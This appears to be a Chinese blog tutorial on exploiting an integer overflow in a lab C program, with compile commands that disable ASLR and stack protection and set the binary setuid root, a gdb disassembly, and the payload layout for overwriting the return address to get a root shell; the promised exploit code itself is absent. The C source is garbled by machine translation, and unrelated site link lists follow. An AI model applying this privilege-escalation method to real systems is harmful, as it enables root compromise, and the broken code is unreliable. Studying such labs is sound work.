(1)漏洞代码

//vuln.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void store_passwd_indb(char * passwd){
}
void validate_uname(char * uname){
}
void validate_passwd(char * passwd){
char passwd_buf [11];
unsigned char passwd_len = strlen(passwd); / * [1] * /
if(passwd_len> = 4 && passwd_len <= 8){/ * [2] * /
printf(“有效密码\ n”); / * [3] * /
fflush(stdout);
strcpy(passwd_buf,passwd); / * [4] * /
} else {
printf(“Invalid Password \ n”); / * [5] * /
fflush(stdout);
}
store_passwd_indb(passwd_buf); / * [6] * /
}
int main(int argc,char * argv []){
if(argc!= 3){
printf(“Usage Error:\ n”);
fflush(stdout);
退出(-1);
}
validate_uname(argv [1]);
validate_passwd(argv [2]);
返回0;
}

(2)编译文件

sudo sh -c "echo 0> / proc / sys / kernel / randomize_va_space"
gcc -g -fno-stack-protector -z execstack -o vuln vuln.c
sudo chown root vuln
sudo chgrp root vuln
sudo chmod + s vuln

(3)原理:

上述漏洞代码的[1]行显示了一个整数溢出错误。strlen()的返回类型是size_t(unsigned int),它存储在unsigned char数据类型中。因此,任何大于unsigned char的最大支持值(255)的值都会导致整数溢出。因此当密码长度为261时,261将被包裹并存储为“passwd_len”变量中的5!由于这个整数溢出,可以绕过行[2]执行的边界检查,从而导致基于堆栈的缓冲区溢出!

(4)反汇编并绘制出漏洞代码的堆栈布局

gdb-peda$ disassemble validate_passwd
Dump of assembler code for function validate_passwd:
0x0804849e <+0>: push ebp
0x0804849f <+1>: mov ebp,esp
0x080484a1 <+3>: push edi
0x080484a2 <+4>: sub esp,0x34
0x080484a5 <+7>: mov eax,DWORD PTR [ebp+0x8]
0x080484a8 <+10>: mov DWORD PTR [ebp-0x1c],0xffffffff
0x080484af <+17>: mov edx,eax
0x080484b1 <+19>: mov eax,0x0
0x080484b6 <+24>: mov ecx,DWORD PTR [ebp-0x1c]
0x080484b9 <+27>: mov edi,edx
0x080484bb <+29>: repnz scas al,BYTE PTR es:[edi]
0x080484bd <+31>: mov eax,ecx
0x080484bf <+33>: not eax
0x080484c1 <+35>: sub eax,0x1
0x080484c4 <+38>: mov BYTE PTR [ebp-0x9],al
0x080484c7 <+41>: cmp BYTE PTR [ebp-0x9],0x3
0x080484cb <+45>: jbe 0x8048500 <validate_passwd+98>
0x080484cd <+47>: cmp BYTE PTR [ebp-0x9],0x8
0x080484d1 <+51>: ja 0x8048500 <validate_passwd+98>
0x080484d3 <+53>: mov DWORD PTR [esp],0x8048660
0x080484da <+60>: call 0x80483a0 <puts@plt>
0x080484df <+65>: mov eax,ds:0x804a020
0x080484e4 <+70>: mov DWORD PTR [esp],eax
0x080484e7 <+73>: call 0x8048380 <fflush@plt>
0x080484ec <+78>: mov eax,DWORD PTR [ebp+0x8]
0x080484ef <+81>: mov DWORD PTR [esp+0x4],eax
0x080484f3 <+85>: lea eax,[ebp-0x14]
0x080484f6 <+88>: mov DWORD PTR [esp],eax
0x080484f9 <+91>: call 0x8048390 <strcpy@plt>
0x080484fe <+96>: jmp 0x8048519 <validate_passwd+123>
0x08048500 <+98>: mov DWORD PTR [esp],0x804866f
0x08048507 <+105>: call 0x80483a0 <puts@plt>
0x0804850c <+110>: mov eax,ds:0x804a020
0x08048511 <+115>: mov DWORD PTR [esp],eax
0x08048514 <+118>: call 0x8048380 <fflush@plt>
0x08048519 <+123>: lea eax,[ebp-0x14]
0x0804851c <+126>: mov DWORD PTR [esp],eax
0x0804851f <+129>: call 0x8048494 <store_passwd_indb>
0x08048524 <+134>: add esp,0x34
0x08048527 <+137>: pop edi
0x08048528 <+138>: pop ebp
0x08048529 <+139>: ret
End of assembler dump.

(5)当输入长度为261的密码,可以绕过边界检查,并允许我们覆盖堆栈中的返回地址。测试:

EBP、EIP被覆盖为四个A

(6)堆栈布局显示返回地址位于缓冲区'passwd_buf'的偏移(0x18)处。0x18计算如下:0xb+0x1+0x4+0x4+0x4,因此当用户输入“A” * 24 + “B” * 4 + “C” * 233,以A覆盖passwd_buf,passwd_len,对齐空间,edi和调用者的ebp,以“BBBB”覆盖返回地址,以"C"覆盖剩余空间.

(6)找出shellcode的起始地址。ret_addr可以选择100个NOP里。

攻击代码如下:

运行,获取到root shell权限

最新文章

  1. python:列表与元组
  2. 使用jsonp跨域请求后可以获得数据,但是进入error方法,返回parseerror
  3. 烂泥:CentOS命令学习之scp复制
  4. UNITY 2D入门基础教程
  5. JavaScript的apply和call方法及其区别
  6. MySQL出现无法删除行记录
  7. Good Number
  8. OpenShare新功能@2014年第三季度
  9. 【暑假】[深入动态规划]UVa 1628 Pizza Delivery
  10. 编写Swift代码的其他工具
  11. iOS开发无第三方控件的援助达到的效果侧边栏
  12. JavaScript设计模式_02_策略模式
  13. Linux企业运维人员最常用150个命令汇总
  14. IIS网站本机可以访问但局域网其他机器无法访问 解决方法
  15. Android开发学习之路--网络编程之初体验
  16. oracle中rownum的使用
  17. 调用kaldi的模型进行解码
  18. java8实战:filter的简单使用
  19. OpenCV——Brisk特征检测、匹配与对象查找
  20. [转]微信小程序之加载更多(分页加载)实例 —— 微信小程序实战系列(2)

热门文章

  1. hadoop 2.x HA 出现ssh不能解析问题记录。
  2. 小程序wx.showLoading的使用
  3. VUE -- 对 Element UI table中数据进行二次处理
  4. 在phpstorm中如何对比文件呢?
  5. Random Projection
  6. Spring StopWatch源码
  7. 多网卡下如何配置指定IP走某个路由器(适用于外网不通,但是钉钉服务器通的情况)
  8. osg define shape(create box)
  9. 阶段5 3.微服务项目【学成在线】_day18 用户授权_17-细粒度授权-获取当前用户信息
  10. 阶段5 3.微服务项目【学成在线】_day17 用户认证 Zuul_09-前端显示当前用户-需求分析